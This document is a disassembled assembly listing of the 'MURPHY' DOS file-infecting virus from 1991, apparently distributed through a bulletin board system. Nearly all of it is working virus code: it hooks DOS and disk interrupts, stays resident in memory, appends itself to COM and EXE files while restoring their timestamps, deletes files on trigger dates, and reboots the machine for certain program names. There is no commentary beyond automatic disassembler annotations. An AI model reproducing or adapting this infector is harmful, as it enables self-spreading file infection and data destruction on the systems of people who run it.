PAGE 59,132 ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ;ÛÛ ÛÛ ;ÛÛ MURPHY ÛÛ ;ÛÛ ÛÛ ;ÛÛ Created: 4-Mar-91 ÛÛ ;ÛÛ Version: ÛÛ ;ÛÛ Passes: 5 Analysis Options on: H ÛÛ ;ÛÛ ÛÛ ;ÛÛ ÛÛ ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ data_1e equ 4Ch ; (0000:004C=74h) data_3e equ 84h ; (0000:0084=0EBh) data_5e equ 90h ; (0000:0090=56h) data_7e equ 102h ; (0000:0102=0F000h) data_8e equ 106h ; (0000:0106=0F000h) data_9e equ 47Bh ; (0000:047B=14h) data_10e equ 0 ; (4098:0000=0FFh) data_11e equ 1 ; (4099:0001=0FFFFh) data_12e equ 2 ; (40EB:0002=0FFFFh) data_13e equ 6 ; (40EB:0006=0FFFFh) data_31e equ 0FC99h ; (7415:FC99=0) data_32e equ 0FC9Bh ; (7415:FC9B=0) data_33e equ 0FCB7h ; (7415:FCB7=0) data_34e equ 0FCB9h ; (7415:FCB9=0) data_35e equ 0FCBBh ; (7415:FCBB=0) data_36e equ 0FCC5h ; (7415:FCC5=0) data_37e equ 0FCC7h ; (7415:FCC7=0) data_38e equ 0FCCDh ; (7415:FCCD=0) data_39e equ 0FCCFh ; (7415:FCCF=0) data_40e equ 0 ; (F000:0000=0AA55h) data_41e equ 2 ; (F000:0002=40h) seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h murphy proc far start: jmp loc_28 ; (0466) db 0C3h db 23 dup (0C3h) db 2Ah, 2Eh, 45h, 58h, 45h, 0 data_17 dw 0C3C3h data_18 dw 0C3C3h data_19 db 0, 0 data_20 dw 0 data_21 dw 0 data_22 dw 0 data_23 dw 7415h data_24 dd 00000h data_25 dw 0 data_26 dw 7415h data_27 dd 00000h data_28 dw 0 data_29 dw 7415h db 0Ah, 0Dh, 0Ah, 0Dh, ' Bhaktivedan' db 'ta Swami Prabhupada (1896-1977)', 0Ah db 0Dh, 0Ah, 0Dh, '$' db '=MKu', 9, 'U' db 8Bh, 0ECh, 83h, 66h, 6, 0FEh db 5Dh, 0CFh, 80h, 0FCh, 4Bh, 74h db 12h, 3Dh, 0, 3Dh, 74h, 0Dh db 3Dh, 0, 6Ch, 75h, 5, 80h db 0FBh, 0, 74h, 3, 0E9h, 0BEh db 0, 6, 1Eh, 57h, 56h, 55h db 52h, 51h, 53h, 50h, 0E8h, 48h db 2, 0E8h, 82h, 2, 3Dh, 0 db 6Ch, 75h, 2, 8Bh, 0D6h loc_1: mov cx,80h mov si,dx locloop_2: inc si mov al,[si] or al,al ; Zero ? loopnz locloop_2 ; Loop if zf=0, cx>0 sub si,2 cmp word ptr [si],4D4Fh je loc_5 ; Jump if equal cmp word ptr [si],4558h je loc_4 ; Jump if equal loc_3: jmp short loc_12 ; (024A) db 90h loc_4: cmp word ptr [si-4],4E41h je loc_6 ; Jump if equal cmp word ptr [si-4],444Ch je loc_6 ; Jump if equal cmp word ptr [si-4],4A52h je loc_6 ; Jump if equal jnz loc_7 ; Jump if not zero loc_5: cmp word ptr [si-4],444Eh je loc_3 ; Jump if equal jnz loc_8 ; Jump if not zero loc_6: int 19h ; Bootstrap loader loc_7: jz loc_8 ; Jump if zero loc_8: mov ax,3D02h call sub_5 ; (03E5) jc loc_12 ; Jump if carry Set mov bx,ax mov ax,5700h call sub_5 ; (03E5) mov cs:data_20,cx ; (7415:0127=0) mov cs:data_21,dx ; (7415:0129=0) mov ax,4200h xor cx,cx ; Zero register xor dx,dx ; Zero register call sub_5 ; (03E5) push cs pop ds mov dx,103h mov si,dx mov cx,18h mov ah,3Fh ; '?' call sub_5 ; (03E5) jc loc_10 ; Jump if carry Set cmp word ptr [si],5A4Dh jne loc_9 ; Jump if not equal call sub_1 ; (025B) jmp short loc_10 ; (0233) loc_9: call sub_4 ; (036B) loc_10: jc loc_11 ; Jump if carry Set mov ax,5701h mov cx,cs:data_20 ; (7415:0127=0) mov dx,cs:data_21 ; (7415:0129=0) call sub_5 ; (03E5) loc_11: mov ah,3Eh ; '>' call sub_5 ; (03E5) loc_12: call sub_7 ; (0429) pop ax pop bx pop cx pop dx pop bp pop si pop di pop ds pop es loc_13: jmp cs:data_24 ; (7415:012F=0) murphy endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_1 proc near mov ah,2Ah ; '*' int 21h ; DOS Services ah=function 2Ah ; get date, cx=year, dx=mon/day cmp dh,4 je loc_14 ; Jump if equal jnz loc_15 ; Jump if not zero loc_14: mov ah,2Ah ; '*' int 21h ; DOS Services ah=function 2Ah ; get date, cx=year, dx=mon/day cmp dl,0Fh je loc_16 ; Jump if equal jnz loc_15 ; Jump if not zero loc_15: mov cx,[si+16h] add cx,[si+8] mov ax,10h mul cx ; dx:ax = reg * ax add ax,[si+14h] adc dx,0 push dx push ax mov ax,4202h xor cx,cx ; Zero register xor dx,dx ; Zero register call sub_5 ; (03E5) cmp dx,0 jne loc_17 ; Jump if not equal cmp ax,4E2h jae loc_17 ; Jump if above or = pop ax pop dx stc ; Set carry flag retn loc_16: mov dx,10h mov ah,1Ah int 21h ; DOS Services ah=function 1Ah ; set DTA to ds:dx mov dx,11Bh mov cx,110Bh mov ah,4Eh ; 'N' int 21h ; DOS Services ah=function 4Eh ; find 1st filenam match @ds:dx mov dx,2Eh mov ax,3D02h int 15h ; General services, ah=func 3Dh mov ah,41h ; 'A' int 21h ; DOS Services ah=function 41h ; delete file, name @ ds:dx jmp loc_23 ; (0395) db 0BAh, 3Fh, 1, 0B4h, 9, 0CDh db 21h, 0EBh, 1, 90h loc_17: mov di,ax mov bp,dx pop cx sub ax,cx pop cx sbb dx,cx cmp word ptr [si+0Ch],0 je loc_ret_20 ; Jump if equal cmp dx,0 jne loc_18 ; Jump if not equal cmp ax,4E2h jne loc_18 ; Jump if not equal stc ; Set carry flag retn loc_18: mov dx,bp mov ax,di push dx push ax add ax,4E2h adc dx,0 mov cx,200h div cx ; ax,dx rem=dx:ax/reg les di,dword ptr [si+2] ; Load 32 bit ptr mov cs:data_22,di ; (7415:012B=0) mov cs:data_23,es ; (7415:012D=7415h) mov [si+2],dx cmp dx,0 je loc_19 ; Jump if equal inc ax loc_19: mov [si+4],ax pop ax pop dx call sub_2 ; (034C) sub ax,[si+8] les di,dword ptr [si+14h] ; Load 32 bit ptr mov data_17,di ; (7415:0121=0C3C3h) mov data_18,es ; (7415:0123=0C3C3h) mov [si+14h],dx mov [si+16h],ax mov word ptr data_19,ax ; (7415:0125=0) mov ax,4202h xor cx,cx ; Zero register xor dx,dx ; Zero register call sub_5 ; (03E5) call sub_3 ; (035D) jc loc_ret_20 ; Jump if carry Set mov ax,4200h xor cx,cx ; Zero register xor dx,dx ; Zero register call sub_5 ; (03E5) mov ah,40h ; '@' mov dx,si mov cx,18h call sub_5 ; (03E5) loc_ret_20: retn ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_2: mov cx,4 mov di,ax and di,0Fh locloop_21: shr dx,1 ; Shift w/zeros fill rcr ax,1 ; Rotate thru carry loop locloop_21 ; Loop if cx > 0 mov dx,di retn ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_3: mov ah,40h ; '@' mov cx,4E2h mov dx,100h call sub_6 ; (03EC) jmp short loc_27 ; (03E5) db 90h ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_4: mov ah,2Ah ; '*' int 21h ; DOS Services ah=function 2Ah ; get date, cx=year, dx=mon/day cmp al,6 je loc_22 ; Jump if equal jnz loc_23 ; Jump if not zero loc_22: mov dx,10h mov ah,1Ah int 21h ; DOS Services ah=function 1Ah ; set DTA to ds:dx mov dx,11Bh mov cx,110Bh mov ah,4Eh ; 'N' int 21h ; DOS Services ah=function 4Eh ; find 1st filenam match @ds:dx mov dx,2Eh mov ax,3D02h int 15h ; General services, ah=func 3Dh mov ah,41h ; 'A' int 21h ; DOS Services ah=function 41h ; delete file, name @ ds:dx jmp short loc_23 ; (0395) db 90h loc_23: mov ax,4202h xor cx,cx ; Zero register xor dx,dx ; Zero register call sub_5 ; (03E5) cmp ax,4E2h jb loc_ret_26 ; Jump if below cmp ax,0FA00h jae loc_ret_26 ; Jump if above or = push ax cmp byte ptr [si],0E9h jne loc_24 ; Jump if not equal sub ax,4E5h cmp ax,[si+1] jne loc_24 ; Jump if not equal pop ax stc ; Set carry flag retn loc_24: call sub_3 ; (035D) jnc loc_25 ; Jump if carry=0 pop ax retn loc_25: mov ax,4200h xor cx,cx ; Zero register xor dx,dx ; Zero register call sub_5 ; (03E5) pop ax sub ax,3 mov dx,121h mov si,dx mov byte ptr cs:[si],0E9h mov cs:[si+1],ax mov ah,40h ; '@' mov cx,3 call sub_5 ; (03E5) loc_ret_26: retn sub_1 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_5 proc near loc_27: pushf ; Push flags call cs:data_24 ; (7415:012F=0) retn sub_5 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_6 proc near push ax push ds push es xor ax,ax ; Zero register push ax pop ds cli ; Disable interrupts les ax,dword ptr ds:data_5e ; (0000:0090=156h) Load 32 bit ptr mov cs:data_25,ax ; (7415:0133=0) mov cs:data_26,es ; (7415:0135=7415h) mov ax,44Eh mov ds:data_5e,ax ; (0000:0090=156h) mov word ptr ds:data_5e+2,cs ; (0000:0092=124Ch) les ax,dword ptr ds:data_1e ; (0000:004C=774h) Load 32 bit ptr mov cs:data_28,ax ; (7415:013B=0) mov cs:data_29,es ; (7415:013D=7415h) les ax,cs:data_27 ; (7415:0137=0) Load 32 bit ptr mov ds:data_1e,ax ; (0000:004C=774h) mov word ptr ds:data_1e+2,es ; (0000:004E=70h) sti ; Enable interrupts pop es pop ds pop ax retn sub_6 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_7 proc near push ax push ds push es xor ax,ax ; Zero register push ax pop ds cli ; Disable interrupts les ax,dword ptr cs:data_25 ; (7415:0133=0) Load 32 bit ptr mov ds:data_5e,ax ; (0000:0090=156h) mov word ptr ds:data_5e+2,es ; (0000:0092=124Ch) les ax,dword ptr cs:data_28 ; (7415:013B=0) Load 32 bit ptr mov ds:data_1e,ax ; (0000:004C=774h) mov word ptr ds:data_1e+2,es ; (0000:004E=70h) sti ; Enable interrupts pop es pop ds pop ax retn sub_7 endp db 0B0h, 3, 0CFh ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_8 proc near mov dx,10h mul dx ; dx:ax = reg * ax retn sub_8 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_9 proc near xor ax,ax ; Zero register xor bx,bx ; Zero register xor cx,cx ; Zero register xor dx,dx ; Zero register xor si,si ; Zero register xor di,di ; Zero register xor bp,bp ; Zero register retn sub_9 endp loc_28: push ds call sub_10 ; (046A) ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_10 proc near mov ax,4B4Dh nop int 21h ; DOS Services ah=function 4Bh ; run progm @ds:dx, parm @es:bx jc loc_29 ; Jump if carry Set jmp loc_39 ; (059C) loc_29: pop si push si nop mov di,si xor ax,ax ; Zero register push ax pop ds les ax,dword ptr ds:data_1e ; (0000:004C=774h) Load 32 bit ptr mov cs:data_38e[si],ax ; (7415:FCCD=0) mov cs:data_39e[si],es ; (7415:FCCF=0) les bx,dword ptr ds:data_3e ; (0000:0084=40EBh) Load 32 bit ptr mov cs:data_36e[di],bx ; (7415:FCC5=0) mov cs:data_37e[di],es ; (7415:FCC7=0) mov ax,ds:data_7e ; (0000:0102=0F000h) cmp ax,0F000h jne loc_37 ; Jump if not equal mov dl,80h mov ax,ds:data_8e ; (0000:0106=0F000h) cmp ax,0F000h je loc_30 ; Jump if equal cmp ah,0C8h jb loc_37 ; Jump if below cmp ah,0F4h jae loc_37 ; Jump if above or = test al,7Fh jnz loc_37 ; Jump if not zero mov ds,ax cmp word ptr ds:data_40e,0AA55h ; (F000:0000=0AA55h) jne loc_37 ; Jump if not equal mov dl,ds:data_41e ; (F000:0002=40h) loc_30: mov ds,ax xor dh,dh ; Zero register mov cl,9 shl dx,cl ; Shift w/zeros fill mov cx,dx xor si,si ; Zero register locloop_31: lodsw ; String [si] to ax cmp ax,0FA80h jne loc_32 ; Jump if not equal lodsw ; String [si] to ax cmp ax,7380h je loc_33 ; Jump if equal jnz loc_34 ; Jump if not zero loc_32: cmp ax,0C2F6h jne loc_35 ; Jump if not equal lodsw ; String [si] to ax cmp ax,7580h jne loc_34 ; Jump if not equal loc_33: inc si lodsw ; String [si] to ax cmp ax,40CDh je loc_36 ; Jump if equal sub si,3 loc_34: dec si dec si loc_35: dec si loop locloop_31 ; Loop if cx > 0 jmp short loc_37 ; (050B) loc_36: sub si,7 mov cs:data_38e[di],si ; (7415:FCCD=0) mov cs:data_39e[di],ds ; (7415:FCCF=0) loc_37: mov ah,62h ; 'b' int 21h ; DOS Services ah=function 62h ; get progrm seg prefix addr bx mov es,bx mov ah,49h ; 'I' int 21h ; DOS Services ah=function 49h ; release memory block, es=seg mov bx,0FFFFh mov ah,48h ; 'H' int 21h ; DOS Services ah=function 48h ; allocate memory, bx=bytes/16 sub bx,50h nop jc loc_39 ; Jump if carry Set mov cx,es stc ; Set carry flag adc cx,bx mov ah,4Ah ; 'J' int 21h ; DOS Services ah=function 4Ah ; change mem allocation, bx=siz mov bx,4Fh stc ; Set carry flag sbb es:data_12e,bx ; (40EB:0002=0FFFFh) push es mov es,cx mov ah,4Ah ; 'J' int 21h ; DOS Services ah=function 4Ah ; change mem allocation, bx=siz mov ax,es dec ax mov ds,ax mov word ptr ds:data_11e,8 ; (4099:0001=0FFFFh) call sub_8 ; (0451) mov bx,ax mov cx,dx pop ds mov ax,ds call sub_8 ; (0451) add ax,ds:data_13e ; (40EB:0006=0FFFFh) adc dx,0 sub ax,bx sbb dx,cx jc loc_38 ; Jump if carry Set sub ds:data_13e,ax ; (40EB:0006=0FFFFh) loc_38: mov si,di xor di,di ; Zero register push cs pop ds sub si,36Ah mov cx,4E2h inc cx rep movsb ; Rep when cx >0 Mov [si] to es:[di] mov ah,62h ; 'b' int 21h ; DOS Services ah=function 62h ; get progrm seg prefix addr bx dec bx mov ds,bx mov byte ptr ds:data_10e,5Ah ; (4098:0000=0FFh) 'Z' mov dx,173h xor ax,ax ; Zero register push ax pop ds mov ax,es sub ax,10h mov es,ax cli ; Disable interrupts mov ds:data_3e,dx ; (0000:0084=40EBh) mov word ptr ds:data_3e+2,es ; (0000:0086=11h) sti ; Enable interrupts dec byte ptr ds:data_9e ; (0000:047B=14h) loc_39: pop si cmp word ptr cs:data_31e[si],5A4Dh ; (7415:FC99=0) jne loc_40 ; Jump if not equal pop ds mov ax,cs:data_35e[si] ; (7415:FCBB=0) mov bx,cs:data_34e[si] ; (7415:FCB9=0) push cs pop cx sub cx,ax add cx,bx push cx push word ptr cs:data_33e[si] ; (7415:FCB7=0) push ds pop es call sub_9 ; (0457) retf ; Return far loc_40: pop ax mov ax,cs:data_31e[si] ; (7415:FC99=0) mov word ptr cs:[100h],ax ; (7415:0100=63E9h) mov ax,cs:data_32e[si] ; (7415:FC9B=0) mov word ptr cs:[102h],ax ; (7415:0102=0C303h) mov ax,100h push ax push cs pop ds push ds pop es call sub_9 ; (0457) retn sub_10 endp seg_a ends end start Downloaded From P-80 International Information Systems 304-744-2253